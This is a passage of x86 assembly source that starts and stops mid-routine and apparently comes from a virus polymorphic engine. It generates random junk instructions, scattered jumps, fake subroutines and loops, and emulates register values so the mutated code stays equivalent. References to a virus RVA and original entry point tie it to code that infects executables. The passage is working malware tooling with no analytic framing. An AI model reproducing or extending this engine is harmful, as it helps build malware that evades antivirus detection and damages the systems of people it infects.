lea eax, [edi+4]
sub eax, o_offs
add eax, vir_rva
sub eax, original_rva
neg eax
stosd
@@ret_from_epilog:
call @@garbage_10
retn ; @@epilog
@@r0C: mov regavail, REG_EAX
mov reginit, 0
mov regused, 0
call @@poly_cmd
xor eax, eax
call @@reg_init_eax
xor ebx, ebx ; eax
mov edx, 1 ; 1
call @@gen_value
bts regused, eax ; v5.50 bugfix
call @@poly_cmd
call @@eip
mov al, 0C2h ; ret 0Ch
stosb
mov ax, 000Ch
stosw
jmp @@ret_from_epilog
@@epilog_regs: cmp exitregptr, 0
je @@er_ret
xor ebx, ebx
@@er_cycle: bt regavail, ebx
jnc @@er_cont
mov edx, exitregptr
mov edx, [edx+ebx*4]
cmp edx, -1
je @@er_cont
call @@gen_value ; em_reg[ebx*4] <-- edx
bts regused, ebx
call @@poly_cmd
@@er_cont: inc ebx
cmp bl, 8
jb @@er_cycle
@@er_ret: call @@int3
retn
@@garbage_10: mov eax, 10
@@multi_garbage: call rnd_eax
jz @@mg_ret
@@gen_garbage: call @@poly_cmd
dec eax
jnz @@gen_garbage
@@mg_ret: retn
; ===========================================================================
; this subroutine makes em_reg[EBX] equal to EDX
@@gen_value:
; use XOR if noone specified
testcmd CMD_XOR+CMD_ADD+CMD_SUB+CMD_AND+CMD_OR, @@rdef
@@gen_value_restart: mov eax, 5 ; EAX=#
call rnd_eax
jz @@r0 ; sub dispatch
dec eax
jz @@r1 ; add
dec eax ; and
jz @@r3
dec eax ; or
jz @@r4
; xor
@@r2: testcmd CMD_XOR, @@gen_value_restart
@@rdef: xor edx, em_reg[ebx*4] ; emul -- xor reg, c
xor em_reg[ebx*4], edx
mov eax, 35F081h ; opcodes
jmp @@store_cmd
@@r1: testcmd CMD_ADD, @@gen_value_restart
sub edx, em_reg[ebx*4] ; emul -- add reg, c
add em_reg[ebx*4], edx
mov eax, 05C081h ; opcodes
jmp @@store_cmd
@@r0: testcmd CMD_SUB, @@gen_value_restart
sub edx, em_reg[ebx*4] ; emul -- sub reg, c
neg edx
sub em_reg[ebx*4], edx
mov eax, 2dE881h ; opcodes
@@store_cmd: or edx, edx ; skip zero-argument
jz @@rt
@@store_cmd_even0:
call @@eip ; JMP
flagsnz FLAG_NOSHORT, @@long ; if skip short opcs
or ebx, ebx ; use short form for EAX
jnz @@long
shr eax, 16
@@short: stosb ; store 1-byte opcode
jmp @@shortorlong
@@long: add ah, bl ; store 2-byte opcode
stosw
@@shortorlong: xchg edx, eax ; store argument (EDX)
stosd
@@rt: retn
@@r3: testcmd CMD_AND, @@gen_value_restart
; em_reg and ? = edx
; 0 * 0
; 0 - 1
; 1 0 0
; 1 1 1
mov eax, em_reg[ebx*4] ; em_reg and ? = edx
and eax, edx ; 0 none 1
cmp eax, edx
jne @@rdef ; gen_value_restart
call rnd_dword ; em_reg and ? = edx
not em_reg[ebx*4] ; 0 any 0
and eax, em_reg[ebx*4]
not em_reg[ebx*4]
; em_reg and ? = edx
xor edx, eax ; 1 copy 0/1
and em_reg[ebx*4], edx
mov eax, 25E081h
jmp @@store_cmd_even0
@@r4: testcmd CMD_OR, @@gen_value_restart
; em_reg or ? = edx
; 0 0 0
; 0 1 1
; 1 - 0
; 1 * 1
mov eax, edx ; em_reg or ? = edx
and eax, em_reg[ebx*4] ; 1 none 0
cmp eax, em_reg[ebx*4]
jne @@rdef ; gen_value_restart
call rnd_dword ; em_reg or ? = edx
and eax, em_reg[ebx*4] ; 1 * 1
xor edx, eax
or em_reg[ebx*4], edx
mov eax, 0DC881h
jmp @@store_cmd
; ===================== register selection management =======================
; get random register
@@get_rnd_reg: cmp regavail, 0
je @@get_rnd_reg_err
call rnd_8
bt regavail, eax ; "regavail" set only
jnc @@get_rnd_reg
clc
retn
@@get_rnd_reg_err: mov eax, -1
stc
retn
; ---------------------------------------------------------------------------
; get random initialized register
@@get_init_reg: call @@get_rnd_reg ; get random reg
jc @@get_init_reg_err
call @@reg_init_eax ; initialize it (if not yet)
clc ; v5.50 bugfix
@@get_init_reg_err: retn
; ---------------------------------------------------------------------------
; check register & initialize it if uninitialized yet
; used 'coz initially em_reg[0..7] is unknown
@@reg_init_eax: bts reginit, eax ; initialized?
jc @@reg_init_retn
push ebx
mov ebx, eax
call @@eip ; JMP
call rnd_3
jz @@init_pushpop
dec eax
jz @@init_xorsub
@@init_mov: mov al, 0B8h ; MOV r, c
or al, bl
stosb
call rnd_dword
mov em_reg[ebx*4], eax ; store initial em_reg[]
stosd
@@init_done: xchg ebx, eax
pop ebx
@@reg_init_retn: retn
@@init_pushpop: testcmd CMD_PUSHPOP, @@init_mov
mov al, 68h
stosb
call rnd_dword
mov em_reg[ebx*4], eax ; store initial em_reg[]
stosd
call @@eip
lea eax, [ebx+58h]
stosb
jmp @@init_done
@@init_xorsub: testcmd CMD_XOR, @@_sub
mov al, 31h ; xor
call rnd_zf
jz @@_xor
@@_sub: testcmd CMD_SUB, @@init_mov
mov al, 29h ; sub
@@_xor: flagsnz FLAG_NOSWAP, @@_v0
call rnd_zf
jz @@_v0
xor al, 2
@@_v0: stosb
mov al, bl
shl al, 3
or al, bl
or al, 0C0h
stosb
mov em_reg[ebx*4], 0
call @@do_incdec
call @@do_incdec
jmp @@init_done
@@do_incdec: call rnd_zf
jz @@_v3
call @@eip
call rnd_zf
jz @@_v2
@@_v1: testcmd CMD_INC, @@_v3
inc em_reg[ebx*4]
mov al, 40h ; inc
or al, bl
stosb
jmp @@_v3
@@_v2: testcmd CMD_DEC, @@_v3
dec em_reg[ebx*4]
mov al, 48h ; dec
or al, bl
stosb
@@_v3: retn
; ---------------------------------------------------------------------------
; get random initialized register marked as "free"
@@get_free_reg: mov eax, regused ; 2+4
and eax, regavail
cmp eax, regavail ; 2
je @@bad
call @@get_init_reg
jc @@bad
bt regused, eax
jc @@get_free_reg
; clc
retn
@@bad: mov eax, -1
stc
retn
; ===========================================================================
; this subroutine finds new output pointer (in EDI)
@@find_new_eip:
mov edx, C_EIP_MAX_ITER ; max number of restarts
@@eip_find: dec edx ; error if no free space
jz @@error_nomemory
; find random location within outbuf
mov eax, o_max
sub eax, C_EIP_TOP+C_EIP_BOTTOM
call rnd_eax
add eax, C_EIP_TOP
add eax, o_offs
xchg edi, eax
; scan it -- should be unused
mov ecx, C_EIP_NEXT+C_EIP_PREV
mov eax, o_fillchar
repz scasb
jnz @@eip_find
sub edi, C_EIP_NEXT
retn
; ---------------------------------------------------------------------------
; this subroutine called before each command is
; stored to output stream
; it probably adds JMP to new random location
@@eip_do1: pushad
jmp @@eip_do
@@eip: pusha
mov eax, o_offs ; check if end of outbuf is
add eax, o_max ; reached. MUST add jmp then.
sub eax, edi
cmp eax, C_EIP_BOTTOM
jb @@eip_do
mov eax, o_fillchar ; scan following code --
mov ecx, C_EIP_NEXT ; -- it should be unused,
push edi ; MUST add jmp otherwise
repz scasb
pop edi
jnz @@eip_do
; here we may skip jmp
flagsnz FLAG_NOJMPS, @@eip_done ; JMPs disabled? -exit
mov eax, jmp_prob ; add JMP if rnd(jmp_prob)==0
call rnd_eax
jnz @@eip_done
@@eip_do:
; well, here we MUST select new location, or die
flagsnz FLAG_NOJMPS, @@error_nomemory ; no JMPs? - error!
mov al, 0E9h ; add JMP
stosb
stosd ; space for argument
mov ebx, edi ; save old position
call @@find_new_eip ; try to find new location
mov eax, edi ; link
sub eax, ebx
mov [ebx-4], eax
@@eip_done: mov [esp+0*4], edi ; pushad_edi
popa
retn
; ===================== "logic" management ==================================
; this subroutine adds "logic" instruction into
; output stream.
@@poly_cmd: pusha
flagsnz FLAG_NOLOGIC, @@poly_cmd_exit ; logic disabled? --exit
mov eax, cmdavail ; no avail cmds?
or eax, cmdavail2
jz @@poly_cmd_exit ; --exit
mov eax, regused ; all avail regs used?
cmp eax, regavail
je @@poly_cmd_exit ; --exit
call @@eip ; add JMP if needed
@@poly_cmd_restart:
REG1 equ ebx
REG2 equ edx
REG1_8 equ bl
REG2_8 equ dl
XXX equ ecx ; fixed
XXX_8 equ cl ; fixed
; reg1: destination, read-write
call @@get_free_reg ; get free reg
xchg REG1, eax
jc @@poly_cmd_exit
; reg2: source, read-only. to write into, do check
call @@get_init_reg ; get init reg
xchg REG2, eax
jc @@poly_cmd_exit
call rnd_dword ; get random argument
xchg XXX, eax
mov eax, 55
call rnd_eax ; select random command index
; dispatch
or eax, eax
jz @@x_not
dec eax
jz @@x_neg
dec eax
jz @@x_inc
dec eax
jz @@x_dec
dec eax
jz @@x_inc
dec eax
jz @@x_dec
dec eax
jz @@x_shl
dec eax
jz @@x_shr
dec eax
jz @@x_rol
dec eax
jz @@x_ror
dec eax
jz @@x_sar
dec eax
jz @@x_mov_c
dec eax
jz @@x_add_c
dec eax
jz @@x_sub_c
dec eax
jz @@x_mov_c
dec eax
jz @@x_add_c
dec eax
jz @@x_sub_c
dec eax
jz @@x_xor_c
dec eax
jz @@x_and_c
dec eax
jz @@x_or_c
dec eax
jz @@x_rol_c
dec eax
jz @@x_ror_c
dec eax ; r1, r1
jz @@x_add
dec eax ;
jz @@x_sub
dec eax ;
jz @@x_xor
dec eax ; r1, r2
jz @@x_imul_ex
dec eax ; r1, r2, c
jz @@x_imul_ex_c
dec eax ; r1, c
jz @@x_btc_c
dec eax ;
jz @@x_btr_c
dec eax ;
jz @@x_bts_c
dec eax ; r1
jz @@x_bswap
dec eax ; movzx/movsx
jz @@movsxzx
dec eax ; push reg/pop
jz @@pushrp
dec eax ; push imm/pop
jz @@puship
dec eax
jz @@x_mul
dec eax
jz @@x_imul
dec eax
jz @@x_div
dec eax
jz @@x_idiv
dec eax
jz @@x_fpu
; new commands that dont need 2 dif. regs
dec eax
jz @@cmp_i_follow
dec eax
jz @@cmp_i_nofollow
dec eax
jz @@callsub
dec eax
jz @@subroutine
dec eax
jz @@x_bsr
dec eax
jz @@x_bsf
; add other commands if only different regs selected
cmp REG1, REG2 ; r1 == r2 ?
je @@poly_cmd_restart
dec eax
jz @@x_xchg
dec eax
jz @@x_mov
dec eax
jz @@x_and
dec eax
jz @@x_or
dec eax ; r1, r2, c
jz @@x_shld
dec eax ; r1, r2, c
jz @@x_shrd
dec eax ; r1, r2
jz @@x_xadd
dec eax
jz @@cmp_r_nofollow
dec eax
jz @@cmp_r_follow
dec eax
jz @@x_cycle
int 3 ; shouldn't be executed. fix # of items
@@poly_cmd_exit: ; exit
mov [esp+0*4], edi ; pushad_edi
popa
retn
; --------------------- cycle -----------------------------------------------
@@x_cycle:
testcmd2 CMD2_CYCLE, @@poly_cmd_restart
push cmdavail
push cmdavail2
and cmdavail, not (CMD_DIV+CMD_IDIV)
and cmdavail2, not (CMD2_CYCLE+CMD2_SUBROUTINE+\
CMD2_IFOLLOW+CMD2_INOFOLLOW+\
CMD2_RFOLLOW+CMD2_RNOFOLLOW)
bts regused, REG1 ;mark cycle register as used
push edi ; start-cycle: eip
call @@eip
call @@garbage_10
call rnd_zf
jz @@gen_sub
@@gen_add: mov ax, 0C081h ; add reg, param
or ah, REG1_8
stosw
mov eax, XXX
stosd
jmp @@gen_done
@@gen_sub: mov ax, 0E881h ; sub reg, param
or ah, REG1_8
stosw
mov eax, XXX
stosd
neg XXX ; 4emul: add->sub
@@gen_done:
; calc # of cycle iterations
mov eax, 666*100
call rnd_eax
inc eax
@@em_add: add em_reg[REG1*4], XXX ; calc resulting value
dec eax
jnz @@em_add
call @@eip
call @@garbage_10
mov ax, 0F881h ; cmp r,result
or ah, REG1_8
stosw
mov eax, em_reg[REG1*4]
stosd
call @@eip
pop ecx ; start-cycle: eip
lea eax, [edi+2]
sub eax, ecx
neg eax
cmp eax, 127
jg @@j_long
cmp eax, -128
jl @@j_long
@@j_short: call rnd_zf
jz @@j_long
mov ah, al
mov al, 75h
stosw
jmp @@temptemp
@@j_long: mov ax, 850Fh ; jne
stosw
stosd
sub ecx, edi
mov [edi-4], ecx
@@temptemp:
pop cmdavail2
pop cmdavail
mov eax, regused ; mark all free regs as uninit
and reginit, eax ; (value unknown)
btr regused, REG1 ; mark cycle register as free
jmp @@poly_cmd_exit
; --------------------- call subroutine -------------------------------------
@@callsub: testcmd2 CMD2_SUBROUTINE, @@poly_cmd_restart
cmp p_count, 0 ; no subs were generated yet?
je @@poly_cmd_exit ; !
cmp in_subroutine, 0 ; do not make recurse calls
jne @@poly_cmd_exit ; !
; select random sub; get addr & stack size
mov eax, p_count
call rnd_eax
xchg esi, eax
mov ebx, p_addr[esi*4]
movzx ecx, p_stack[esi]
; push params
jecxz @@skip_push_rnd
@@push_rnd: call @@eip
call rnd_8
add al, 50h
stosb
loop @@push_rnd
@@skip_push_rnd:
; generate call
call @@eip
mov al, 0E8h
stosb
stosd
sub ebx, edi
mov [edi-4], ebx
movzx ecx, p_conv[esi]
jecxz @@skip_fixstk ; 0=pascal
movzx ecx, p_stack[esi]
jecxz @@skip_fixstk
mov ax, 0C483h ; add esp, nn
stosw
lea eax, [ecx*4]
stosb
call rnd_zf
jz @@skip_fixstk
mov byte ptr [edi-2], 0ECh ; add-->sub
neg byte ptr [edi-1] ; -nn
@@skip_fixstk:
jmp @@poly_cmd_exit
; --------------------- generate subroutine ---------------------------------
@@subroutine: testcmd2 CMD2_SUBROUTINE, @@poly_cmd_restart
cmp p_count, C_MAX_SUB ; fixed # of subroutines
jae @@poly_cmd_exit ; !
inc in_subroutine ; we're inside of subroutine(s)
; now, push all the state related to output code flow generation
flagsnz FLAG_NOJMPS, @@s_no_jmps ; cant be called?
; if jmps allowed, gen sub somewhere there
push edi ; current EIP
call @@eip_do1 ; change EIP (requres FLAG_NOJMPS=0)
jmp @@s_done
@@s_no_jmps: mov al, 0E9h ; NOJMPS? bypass subroutine
stosb
stosd
push edi ; current EIP
@@s_done:
call @@state_push
xor ecx, ecx ; ECX<--number of paramz
call rnd_zf ; have any params?
jnz @@set0
mov eax, 4 ; 1..4
call rnd_eax
lea ecx, [eax+1]
@@set0:
; save addr(EDI) & params(CL)
mov eax, p_count
inc p_count
mov p_addr[eax*4], edi
mov p_stack[eax], cl
; calling convention: cdecl=1, pascal=0
call rnd_zf
sete dl
mov p_conv[eax], dl
dec dl ; cdecl=0, pascal=-1
and cl, dl ; if (cdecl) pop_params=0
shl ecx, 2
push ecx ; params size, in BYTEs
; reinitialize the state
; reduce set of registers available
@@rnd_again: call rnd_byte
and eax, regavail
jz @@rnd_again
mov regavail, eax
mov reginit, 0 ; all register values unknow
mov regused, 0 ; ('coz multiple calls)
; prolog
mov ebx, regavail
@@push_loop: bsf eax, ebx ; smart idea
jz @@push_done
btr ebx, eax
call @@eip
add al, 50h
stosb
jmp @@push_loop
@@push_done:
; body
mov eax, 50
call @@multi_garbage
call @@eip
; epilog
mov ebx, regavail ; pop mask
@@pop_loop: bsr eax, ebx
jz @@pop_done
btr ebx, eax
call @@eip
add al, 58h ;POP regs 1 at once
stosb
jmp @@pop_loop
@@pop_done:
; retn
call @@eip
mov al, 0C3h
stosb
pop ecx ; param frame size
jecxz @@simpleret
dec byte ptr [edi-1] ; C3->C2
mov eax, ecx ; RET ? clean paramz
stosw
@@simpleret:
call @@state_pop
; restore all the state
flagsnz FLAG_NOJMPS, @@e_no_jmps
pop edi ; 5 bytes (unrealized JMP) at EDI
jmp @@e_done
@@e_no_jmps: pop ecx
mov eax, edi
sub eax, ecx
mov [ecx-4], eax
@@e_done:
dec in_subroutine
jmp @@poly_cmd_exit
; --------------------- misc ------------------------------------------------
@@state_push: pop esi
push regavail
lea eax, state_begin
lea ecx, state_end
@@push_cycle: push dword ptr [eax]
add eax, 4
cmp eax, ecx
jne @@push_cycle
jmp esi
@@state_pop: pop esi
lea eax, state_begin
lea ecx, state_end
@@pop_cycle: sub ecx, 4
pop dword ptr [ecx]
cmp ecx, eax
jne @@pop_cycle
pop regavail
jmp esi
; --------------------- movsxzx ---------------------------------------------
@@movsxzx: testcmd CMD_MOVSXZX, @@poly_cmd_restart
cmp REG2, 4
jae @@poly_cmd_exit
mov ecx, em_reg[REG2*4]
call rnd_zf
jz @@use_xl
mov cl, ch ;use high 8 bits (AH,BH,...)
or REG2_8, 4
@@use_xl:
call rnd_zf
jz @@movsx
@@movzx: mov ax, 0B60Fh ;movzx
movzx ecx, cl
jmp @@stos_sxzx
@@movsx: mov ax, 0BE0Fh ;movsx
movsx ecx, cl
@@stos_sxzx:
mov em_reg[REG1*4], ecx
stosw
xchg REG1, REG2
call @@modrm
jmp @@poly_cmd_exit
; --------------------- push reg ; poly_cmd() ; pop_reg----------------------
@@pushrp: testcmd2 CMD2_PUSHPOPR, @@poly_cmd_restart
mov ecx, em_reg[REG2*4]
lea eax, [REG2+50h]
stosb ; push reg
jmp @@pop
@@puship: testcmd2 CMD2_PUSHPOPC, @@poly_cmd_restart
call rnd_zf
jz @@imm_d
@@imm_b: mov ah, cl
movsx ecx, ah
mov al, 6Ah ; push byte
stosw
jmp @@pop
@@imm_d: mov al, 68h
stosb ; push dword
mov eax, ecx
stosd
@@pop:
bts regused, REG1 ;v5.50 bugfix
call @@poly_cmd
btr regused, REG1 ;v5.50 bugfix
call @@eip
lea eax, [REG1+58h]
stosb ;pop reg
mov em_reg[REG1*4], ecx
jmp @@poly_cmd_exit
; --------------------- cmp r, r/c ; jxx ------------------------------------
@@cmp_i_follow: flagsnz FLAG_NOJMPS, @@poly_cmd_exit
testcmd2 CMD2_IFOLLOW, @@poly_cmd_exit
mov tempo, -1
jmp @@cmp_i
@@cmp_i_nofollow: testcmd2 CMD2_INOFOLLOW, @@poly_cmd_exit
mov tempo, 0
@@cmp_i:
test REG1, REG1
jnz @@longcmp
flagsnz FLAG_NOSHORT, @@longcmp ; if skip short opcs
mov al, 3Dh ; short form for eax
stosb
jmp @@cmpeaxboth
@@longcmp: mov ax, 0F881h ; CMP
or ah, REG1_8
stosw
@@cmpeaxboth: call rnd_zf
mov eax, em_reg[REG1*4] ;Z
jz @@useit
mov eax, XXX ; ecx
flagsnz FLAG_NOSHORT_C, @@useit
call rnd_zf
jnz @@useit
dec edi ;
cmp byte ptr [edi], 3Dh ; EAX ?
je @@longcmp ;
inc edi ;
mov byte ptr [edi-2], 83h ; 81->83, short form
movsx eax, al ; to pass EAX to @@outcond
stosb
jmp @@outcond
@@useit: stosd
jmp @@outcond
@@cmp_r_follow: flagsnz FLAG_NOJMPS, @@poly_cmd_exit
testcmd2 CMD2_RFOLLOW, @@poly_cmd_exit
mov tempo, -1
jmp @@cmp_r
@@cmp_r_nofollow: testcmd2 CMD2_RNOFOLLOW, @@poly_cmd_exit
mov tempo, 0
@@cmp_r:
push REG1 REG2 ; 'coz of @@swap
mov al, 39h ; cmp r,r
call @@swap
stosb
call @@modrm
pop REG2 REG1
mov eax, em_reg[REG2*4]
@@outcond:
call @@eip
cmp em_reg[REG1*4], eax
seto jxxcond[0]
setb jxxcond[2]
sete jxxcond[4]
setbe jxxcond[6]
sets jxxcond[8]
setp jxxcond[10]
setl jxxcond[12]
setle jxxcond[14]
call rnd_8
shl eax, 1
xor al, jxxcond[eax]
xor al, 70h
mov ecx, tempo
jecxz @@dont_follow
xor al, 0F1h ; invert condition + short2near
mov ah, 0Fh ;
xchg al, ah
mov ebx, edi
inc edi ; +1
call @@eip_do1
mov word ptr [ebx], ax ;convert to jcc
jmp @@poly_cmd_exit
@@dont_follow: call rnd_zf
jz @@long_dontfollow
@@short_dontfollow: stosb
call rnd_byte
stosb ;displacement(that dont get exec)
jmp @@poly_cmd_exit
@@long_dontfollow: xor al, 0F0h
mov ah, 0Fh
xchg al, ah
stosw
call rnd_dword
stosd
jmp @@poly_cmd_exit
; --------------------- common subroutines ----------------------------------
; input: EAX=opcode, REG1,REG2
@@swap: flagsnz FLAG_NOSWAP, @@swap_retn
call rnd_zf
jz @@swap_retn
xor al, 2 ; bit 'S', means swap regs
xchg REG1, REG2 ; so, the same action
@@swap_retn: retn
@@oralR1_stosb: or al, REG1_8
stosb
jmp @@poly_cmd_exit
@@orahR1_stosw: or ah, REG1_8
stosw
jmp @@poly_cmd_exit
@@swap_stosb_modrm: call @@swap
jmp @@stosb_modrm
@@stosw_modrm: stosb
mov al, ah
@@stosb_modrm: stosb
call @@modrm
jmp @@poly_cmd_exit
@@modrm: pusha
mov al, 0C0h
shl REG2_8, 3
or al, REG2_8
or al, REG1_8
stosb
popa
inc edi
retn
@@stosw_modrm_stosbX: stosw
call @@modrm
jmp @@stosbX
@@stosb_modrm_stosd: stosb
call @@modrm
jmp @@stosd
@@oralR1_stosb_stosd: or al, REG1_8
@@stosb_stosd: stosb
@@stosd: xchg eax, XXX
stosd
jmp @@poly_cmd_exit
@@orahR1_stosw_stosd: or ah, REG1_8
stosw
jmp @@stosd
@@checkshort: cmp al, 83h
je @@orahR1_stosw_stosbX
flagsnz FLAG_NOSHORT, @@orahR1_stosw_stosd
test REG1, REG1
jnz @@orahR1_stosw_stosd
shr eax, 16
jmp @@stosb_stosd
@@orahR1_stosw_stosbX: or ah, REG1_8
stosw
@@stosbX: mov al, XXX_8
stosb
jmp @@poly_cmd_exit
@@modarg: and ecx, 31 ; if (x==0) x++;
cmp cl, 1
adc cl, 0
retn
@@stos3or: stosw
shr eax, 16
or al, REG1_8
mov ah, XXX_8
stosw
jmp @@poly_cmd_exit
; ---------------------------------------------------------------------------
@@x_not: testcmd CMD_NOT, @@poly_cmd_restart
not em_reg[REG1*4] ; emul -- not r1
mov ax, 0d0f7h ; opcode
jmp @@orahR1_stosw
@@x_neg: testcmd CMD_NEG, @@poly_cmd_restart
neg em_reg[REG1*4] ; emul -- neg r1
mov ax, 0d8f7h ; opcode
jmp @@orahR1_stosw
@@x_inc: testcmd CMD_INC, @@poly_cmd_restart
inc em_reg[REG1*4] ; emul -- inc r1
mov al, 40h ; opcode
jmp @@oralR1_stosb
@@x_dec: testcmd CMD_DEC, @@poly_cmd_restart
dec em_reg[REG1*4] ; emul -- dec r1
mov al, 48h ; opcode
jmp @@oralR1_stosb
@@x_shl: testcmd CMD_SHL, @@poly_cmd_restart
shl em_reg[REG1*4], 1 ; emul -- shl r1, 1
mov ax, 0e0d1h ; opcode
jmp @@orahR1_stosw
@@x_shr: testcmd CMD_SHR, @@poly_cmd_restart
shr em_reg[REG1*4], 1 ; emul -- shr r1, 1
mov ax, 0e8d1h ; opcode
jmp @@orahR1_stosw
@@x_rol: testcmd CMD_ROL, @@poly_cmd_restart
rol em_reg[REG1*4], 1 ; emul -- rol r1, 1
mov ax, 0c0d1h ; opcode
jmp @@orahR1_stosw
@@x_ror: testcmd CMD_ROR, @@poly_cmd_restart
ror em_reg[REG1*4], 1 ; emul -- ror r1, 1
mov ax, 0c8d1h ; opcode
jmp @@orahR1_stosw
@@x_sar: testcmd CMD_SAR, @@poly_cmd_restart
sar em_reg[REG1*4], 1 ; emul -- sar r1, 1
mov ax, 0f8d1h ; opcode
jmp @@orahR1_stosw
@@x_xor: testcmd CMD_XOR, @@poly_cmd_restart
mov eax, em_reg[REG2*4] ; emul -- xor r1, r2
xor em_reg[REG1*4], eax
mov al, 31h ; opcode
jmp @@swap_stosb_modrm
@@x_add: testcmd CMD_ADD, @@poly_cmd_restart
mov eax, em_reg[REG2*4] ; emul -- add r1, r2
add em_reg[REG1*4], eax
mov al, 01h ; opcode
jmp @@swap_stosb_modrm
@@x_sub: testcmd CMD_SUB, @@poly_cmd_restart
mov eax, em_reg[REG2*4] ; emul -- sub r1, r2
sub em_reg[REG1*4], eax
mov al, 29h ; opcode
jmp @@swap_stosb_modrm
@@x_mov: testcmd CMD_MOV, @@poly_cmd_restart
mov eax, em_reg[REG2*4] ; emul -- mov r1, r2
mov em_reg[REG1*4], eax
mov al, 89h ; opcode
jmp @@swap_stosb_modrm
@@x_xchg: testcmd CMD_XCHG, @@poly_cmd_restart
bt regused, REG2
jc @@poly_cmd_exit
mov eax, em_reg[REG1*4] ; emul -- xchg r1, r2
xchg em_reg[REG2*4], eax
mov em_reg[REG1*4], eax
mov al, 87h ; opcode
jmp @@stosb_modrm
@@x_and: testcmd CMD_AND, @@poly_cmd_restart
mov eax, em_reg[REG2*4] ; emul -- and r1, r2
and em_reg[REG1*4], eax
mov al, 21h ; opcode
jmp @@swap_stosb_modrm
@@x_or: testcmd CMD_OR, @@poly_cmd_restart
mov eax, em_reg[REG2*4] ; emul -- or r1, r2
or em_reg[REG1*4], eax
mov al, 09h ; opcode
jmp @@swap_stosb_modrm
@@x_mov_c: testcmd CMD_MOV, @@poly_cmd_restart
mov em_reg[REG1*4], XXX ; emul -- mov r1, c
mov al, 0B8h ; opcode
jmp @@oralR1_stosb_stosd
@@x_add_c: testcmd CMD_ADD, @@poly_cmd_restart
mov eax, 05C081h
call @@try_short
add em_reg[REG1*4], XXX ; emul -- add r1, c
jmp @@checkshort
@@x_sub_c: testcmd CMD_SUB, @@poly_cmd_restart
mov eax, 2DE881h ; opcode
call @@try_short
sub em_reg[REG1*4], XXX ; emul -- sub r1, c
jmp @@checkshort
@@x_xor_c: testcmd CMD_XOR, @@poly_cmd_restart
mov eax, 35F081h ; opcode
call @@try_short
xor em_reg[REG1*4], XXX ; emul -- xor r1, c
jmp @@checkshort
@@x_and_c: testcmd CMD_AND, @@poly_cmd_restart
mov eax, 25E081h ; opcode
call @@try_short
and em_reg[REG1*4], XXX ; emul -- and r1, c
jmp @@checkshort
@@x_or_c: testcmd CMD_OR, @@poly_cmd_restart
mov eax, 0DC881h ; opcode
call @@try_short
or em_reg[REG1*4], XXX ; emul -- or r1, c
jmp @@checkshort
@@try_short: flagsnz FLAG_NOSHORT_C, @@try_short_retn
call rnd_zf
jz @@try_short_retn
or al, 2 ; 81->83
movsx XXX, XXX_8
@@try_short_retn: retn
@@x_rol_c: testcmd CMD_ROL, @@poly_cmd_restart
call @@modarg ; modify argument
rol em_reg[REG1*4], cl ; emul -- rol r1, c
mov ax, 0C0C1h ; opcode
jmp @@orahR1_stosw_stosbX
@@x_ror_c: testcmd CMD_ROR, @@poly_cmd_restart
call @@modarg ; modify argument
ror em_reg[REG1*4], cl ; emul -- ror r1, c
mov ax, 0C8C1h ; opcode
jmp @@orahR1_stosw_stosbX
@@x_imul_ex: testcmd CMD_IMUL_EX, @@poly_cmd_restart
mov eax, em_reg[REG1*4] ; emul -- imul r1, r2
imul eax, em_reg[REG2*4]
mov em_reg[REG1*4], eax
mov ax, 0AF0Fh ; opcode
xchg REG1, REG2
jmp @@stosw_modrm
@@x_imul_ex_c: testcmd CMD_IMUL_EX, @@poly_cmd_restart
mov eax, em_reg[REG2*4] ; emul -- imul r1,r2,c
imul eax, XXX
mov em_reg[REG1*4], eax
mov al, 69h ; opcode
xchg REG1, REG2
jmp @@stosb_modrm_stosd
@@x_shld: testcmd CMD_SHLD, @@poly_cmd_restart
call @@modarg ; modify argument
mov eax, em_reg[REG2*4] ; emul -- shld r1,r2,c
shld em_reg[REG1*4], eax, cl
mov ax, 0A40Fh ; opcode
jmp @@stosw_modrm_stosbX
@@x_shrd: testcmd CMD_SHRD, @@poly_cmd_restart
call @@modarg ; modify argument
mov eax, em_reg[REG2*4] ; emul -- shrd r1,r2,c
shrd em_reg[REG1*4], eax, cl
mov ax, 0AC0Fh ; opcode
jmp @@stosw_modrm_stosbX
@@x_btc_c: testcmd CMD_BTC, @@poly_cmd_restart
call @@modarg ; modify argument
btc em_reg[REG1*4], XXX ; emul -- btc r1, c
mov eax, 0f8ba0fh ; opcode
jmp @@stos3or
@@x_btr_c: testcmd CMD_BTR, @@poly_cmd_restart
call @@modarg ; modify argument
btr em_reg[REG1*4], XXX ; emul -- btr r1, c
mov eax, 0f0ba0fh ; opcode
jmp @@stos3or
@@x_bts_c: testcmd CMD_BTS, @@poly_cmd_restart
call @@modarg ; modify argument
bts em_reg[REG1*4], XXX ; emul -- bts r1, c
mov eax, 0e8ba0fh ; opcode
jmp @@stos3or
@@x_bswap: testcmd CMD_BSWAP, @@poly_cmd_restart
mov eax, em_reg[REG1*4] ; emul -- bswap r1
bswap eax
mov em_reg[REG1*4], eax
mov ax, 0c80fh ; opcode
jmp @@orahR1_stosw
@@x_xadd: testcmd CMD_XADD, @@poly_cmd_restart
bt regused, REG2
jc @@poly_cmd_exit
mov eax, em_reg[REG1*4] ; emul -- xadd r1,r2
mov ecx, em_reg[REG2*4]
xadd eax, ecx
mov em_reg[REG1*4], eax
mov em_reg[REG2*4], ecx
mov ax, 0C10Fh ; opcode
jmp @@stosw_modrm
@@x_bsr: testcmd CMD_BSR, @@poly_cmd_restart
mov eax, em_reg[REG1*4]
mov ecx, em_reg[REG2*4]
bsr eax, ecx
mov em_reg[REG1*4], eax
mov ax, 0BD0Fh
xchg REG1, REG2
jmp @@stosw_modrm
@@x_bsf: testcmd CMD_BSF, @@poly_cmd_restart
mov eax, em_reg[REG1*4]
mov ecx, em_reg[REG2*4]
bsf eax, ecx
mov em_reg[REG1*4], eax
mov ax, 0BC0Fh
xchg REG1, REG2
jmp @@stosw_modrm
@@md_init: mov eax, regavail
and eax, REG_EAX+REG_EDX
cmp eax, REG_EAX+REG_EDX
jne @@md_sux
mov eax, reginit
and eax, REG_EAX+REG_EDX
cmp eax, REG_EAX+REG_EDX
jne @@md_sux
test regused, REG_EAX+REG_EDX
jnz @@md_sux
mov eax, em_reg[REG_EAX_N*4]
mov edx, em_reg[REG_EDX_N*4]
mov ecx, em_reg[REG1*4]
retn
@@md_sux: pop eax ; return address
jmp @@poly_cmd_exit
@@md_done: mov em_reg[REG_EAX_N*4], eax
mov em_reg[REG_EDX_N*4], edx
retn
@@x_mul: testcmd CMD_MUL, @@poly_cmd_restart
call @@md_init
mul ecx
call @@md_done
mov ax, 0E0F7h
jmp @@orahR1_stosw
@@x_imul: testcmd CMD_IMUL, @@poly_cmd_restart
call @@md_init
imul ecx
